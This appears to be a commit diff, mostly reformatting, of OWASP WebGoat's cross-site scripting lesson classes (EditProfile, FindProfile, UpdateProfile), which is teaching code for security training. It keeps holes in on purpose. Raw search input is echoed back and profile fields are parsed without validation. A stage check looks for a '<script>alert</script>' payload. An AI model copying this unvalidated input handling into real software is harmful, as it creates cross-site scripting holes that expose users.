public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException
UnauthenticatedException, UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getUserId(s); int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter( int employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID);
CrossSiteScripting.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return CrossSiteScripting.EDITPROFILE_ACTION; return CrossSiteScripting.EDITPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
@ -89,43 +81,31 @@ public class EditProfile extends DefaultLessonAction
try try
{ {
PreparedStatement answer_statement = WebSession PreparedStatement answer_statement = WebSession.getConnection(s)
.getConnection(s).prepareStatement(query, .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId); answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
@ -134,9 +114,7 @@ public class EditProfile extends DefaultLessonAction
return profile; return profile;
} }
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
@ -147,43 +125,31 @@ public class EditProfile extends DefaultLessonAction
try try
{ {
PreparedStatement answer_statement = WebSession PreparedStatement answer_statement = WebSession.getConnection(s)
.getConnection(s).prepareStatement(query, .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId); answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();

145
main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.CrossSiteScripting; package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
@ -7,7 +8,6 @@ import java.util.HashMap;
import java.util.Map; import java.util.Map;
import java.util.regex.Matcher; import java.util.regex.Matcher;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -18,32 +18,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -52,41 +51,33 @@ public class FindProfile extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public FindProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException, ValidationException
UnauthenticatedException, UnauthorizedException,
ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
+ CrossSiteScripting.USER_ID);
String searchName = null; String searchName = null;
try try
{ {
searchName = getRequestParameter(s, searchName = getRequestParameter(s, CrossSiteScripting.SEARCHNAME);
CrossSiteScripting.SEARCHNAME);
Employee employee = null; Employee employee = null;
employee = findEmployeeProfile(s, userId, searchName); employee = findEmployeeProfile(s, userId, searchName);
if (employee == null) if (employee == null)
{ {
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY,
+ CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY,
"Employee " + searchName + " not found."); "Employee " + searchName + " not found.");
} }
} } catch (ValidationException e)
catch (ValidationException e)
{ {
if (CrossSiteScripting.STAGE6.equals(getStage(s))) if (CrossSiteScripting.STAGE6.equals(getStage(s)))
{ {
@ -97,8 +88,7 @@ public class FindProfile extends DefaultLessonAction
if (CrossSiteScripting.STAGE5.equals(getStage(s))) if (CrossSiteScripting.STAGE5.equals(getStage(s)))
{ {
if (searchName.indexOf("<script>") > -1 if (searchName.indexOf("<script>") > -1 && searchName.indexOf("alert") > -1
&& searchName.indexOf("alert") > -1
&& searchName.indexOf("</script>") > -1) && searchName.indexOf("</script>") > -1)
{ {
setStageComplete(s, CrossSiteScripting.STAGE5); setStageComplete(s, CrossSiteScripting.STAGE5);
@ -111,13 +101,11 @@ public class FindProfile extends DefaultLessonAction
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -128,34 +116,28 @@ public class FindProfile extends DefaultLessonAction
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
String page = CrossSiteScripting.SEARCHSTAFF_ACTION; String page = CrossSiteScripting.SEARCHSTAFF_ACTION;
if (foundEmployee(s)) if (foundEmployee(s)) page = CrossSiteScripting.VIEWPROFILE_ACTION;
page = CrossSiteScripting.VIEWPROFILE_ACTION;
return page; return page;
} }
protected String getRequestParameter(WebSession s, String name) throws ParameterNotFoundException,
protected String getRequestParameter(WebSession s, String name) ValidationException
throws ParameterNotFoundException, ValidationException
{ {
return s.getParser().getRawParameter(name); return s.getParser().getRawParameter(name);
} }
protected String getRequestParameter_BACKUP(WebSession s, String name) throws ParameterNotFoundException,
protected String getRequestParameter_BACKUP(WebSession s, String name) ValidationException
throws ParameterNotFoundException, ValidationException
{ {
return s.getParser().getRawParameter(name); return s.getParser().getRawParameter(name);
} }
public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException
public Employee findEmployeeProfile(WebSession s, int userId, String pattern)
throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
@ -166,10 +148,8 @@ public class FindProfile extends DefaultLessonAction
try try
{ {
PreparedStatement answer_statement = WebSession PreparedStatement answer_statement = WebSession.getConnection(s)
.getConnection(s).prepareStatement(query, .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%"); answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%"); answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
@ -179,38 +159,27 @@ public class FindProfile extends DefaultLessonAction
{ {
int id = answer_results.getInt("userid"); int id = answer_results.getInt("userid");
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(id, answer_results profile = new Employee(id, answer_results.getString("first_name"), answer_results
.getString("first_name"), answer_results .getString("last_name"), answer_results.getString("ssn"),
.getString("last_name"), answer_results answer_results.getString("title"), answer_results.getString("phone"), answer_results
.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " + /*
profile.getFirstName() + " " + profile.getLastName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
" (" + profile.getId() + ")"); * profile.getLastName() + " (" + profile.getId() + ")");
*/ */
setRequestAttribute(s, getLessonName() + "." setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id));
+ CrossSiteScripting.EMPLOYEE_ID, Integer
.toString(id));
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error finding employee profile"); s.setMessage("Error finding employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error finding employee profile"); s.setMessage("Error finding employee profile");
e.printStackTrace(); e.printStackTrace();
@ -219,29 +188,24 @@ public class FindProfile extends DefaultLessonAction
return profile; return profile;
} }
private boolean foundEmployee(WebSession s) private boolean foundEmployee(WebSession s)
{ {
boolean found = false; boolean found = false;
try try
{ {
getIntRequestAttribute(s, getLessonName() + "." getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID);
+ CrossSiteScripting.EMPLOYEE_ID);
found = true; found = true;
} catch (ParameterNotFoundException e)
{
} }
catch (ParameterNotFoundException e)
{}
return found; return found;
} }
protected String validate(final String parameter, final Pattern pattern) throws ValidationException
protected String validate(final String parameter, final Pattern pattern)
throws ValidationException
{ {
Matcher matcher = pattern.matcher(parameter); Matcher matcher = pattern.matcher(parameter);
if (!matcher.matches()) if (!matcher.matches()) throw new ValidationException();
throw new ValidationException();
return parameter; return parameter;
} }
@ -249,8 +213,7 @@ public class FindProfile extends DefaultLessonAction
protected static Map<String, Pattern> patterns = new HashMap<String, Pattern>(); protected static Map<String, Pattern> patterns = new HashMap<String, Pattern>();
static static
{ {
patterns.put(CrossSiteScripting.SEARCHNAME, Pattern patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}"));
.compile("[a-zA-Z ]{0,20}"));
} }
} }

192
main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.CrossSiteScripting; package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet; import java.sql.ResultSet;
@ -6,9 +7,7 @@ import java.sql.PreparedStatement;
import java.sql.Statement; import java.sql.Statement;
import java.util.regex.Matcher; import java.util.regex.Matcher;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -20,32 +19,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -54,33 +52,26 @@ public class UpdateProfile extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException, ValidationException
UnauthenticatedException, UnauthorizedException,
ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
+ CrossSiteScripting.USER_ID);
int subjectId = s.getParser().getIntParameter( int subjectId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID, 0);
CrossSiteScripting.EMPLOYEE_ID, 0);
Employee employee = null; Employee employee = null;
try try
{ {
employee = parseEmployeeProfile(subjectId, s); employee = parseEmployeeProfile(subjectId, s);
} } catch (ValidationException e)
catch (ValidationException e)
{ {
if (CrossSiteScripting.STAGE2.equals(getStage(s))) if (CrossSiteScripting.STAGE2.equals(getStage(s)))
{ {
@ -92,8 +83,7 @@ public class UpdateProfile extends DefaultLessonAction
if (subjectId > 0) if (subjectId > 0)
{ {
this.changeEmployeeProfile(s, userId, subjectId, employee); this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer
+ CrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId)); .toString(subjectId));
} }
else else
@ -102,13 +92,11 @@ public class UpdateProfile extends DefaultLessonAction
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -118,9 +106,8 @@ public class UpdateProfile extends DefaultLessonAction
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException,
protected Employee parseEmployeeProfile(int subjectId, WebSession s) ValidationException
throws ParameterNotFoundException, ValidationException
{ {
// The input validation can be added using a parsing component // The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component // or by using an inline regular expression. The parsing component
@ -134,32 +121,24 @@ public class UpdateProfile extends DefaultLessonAction
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER); String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2); String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE); String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY));
.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN); String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT));
.getParameter(CrossSiteScripting.CCN_LIMIT)); String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionDate = request String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
.getParameter(CrossSiteScripting.DISCIPLINARY_DATE); String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
String disciplinaryActionNotes = request
.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
title, phone, address1, address2, manager, startDate, salary, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription); personalDescription);
return employee; return employee;
} }
protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s) throws ParameterNotFoundException,
protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s) ValidationException
throws ParameterNotFoundException, ValidationException
{ {
// The input validation can be added using a parsing component // The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component // or by using an inline regular expression. The parsing component
@ -173,47 +152,36 @@ public class UpdateProfile extends DefaultLessonAction
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER); String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2); String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE); String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY));
.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN); String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT));
.getParameter(CrossSiteScripting.CCN_LIMIT)); String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionDate = request String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
.getParameter(CrossSiteScripting.DISCIPLINARY_DATE); String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
String disciplinaryActionNotes = request
.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
title, phone, address1, address2, manager, startDate, salary, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription); personalDescription);
return employee; return employee;
} }
protected Employee doParseEmployeeProfile(int subjectId, ParameterParser parser) throws ParameterNotFoundException,
protected Employee doParseEmployeeProfile(int subjectId,
ParameterParser parser) throws ParameterNotFoundException,
ValidationException ValidationException
{ {
// Fix this method using the org.owasp.webgoat.session.ParameterParser class // Fix this method using the org.owasp.webgoat.session.ParameterParser class
return null; return null;
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return CrossSiteScripting.VIEWPROFILE_ACTION; return CrossSiteScripting.VIEWPROFILE_ACTION;
} }
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, throws UnauthorizedException
Employee employee) throws UnauthorizedException
{ {
try try
{ {
@ -223,7 +191,9 @@ public class UpdateProfile extends DefaultLessonAction
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
@ -239,24 +209,21 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee)
public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId, throws UnauthorizedException
int subjectId, Employee employee) throws UnauthorizedException
{ {
try try
{ {
@ -266,7 +233,9 @@ public class UpdateProfile extends DefaultLessonAction
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
@ -282,24 +251,20 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.executeUpdate(query); ps.executeUpdate(query);
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
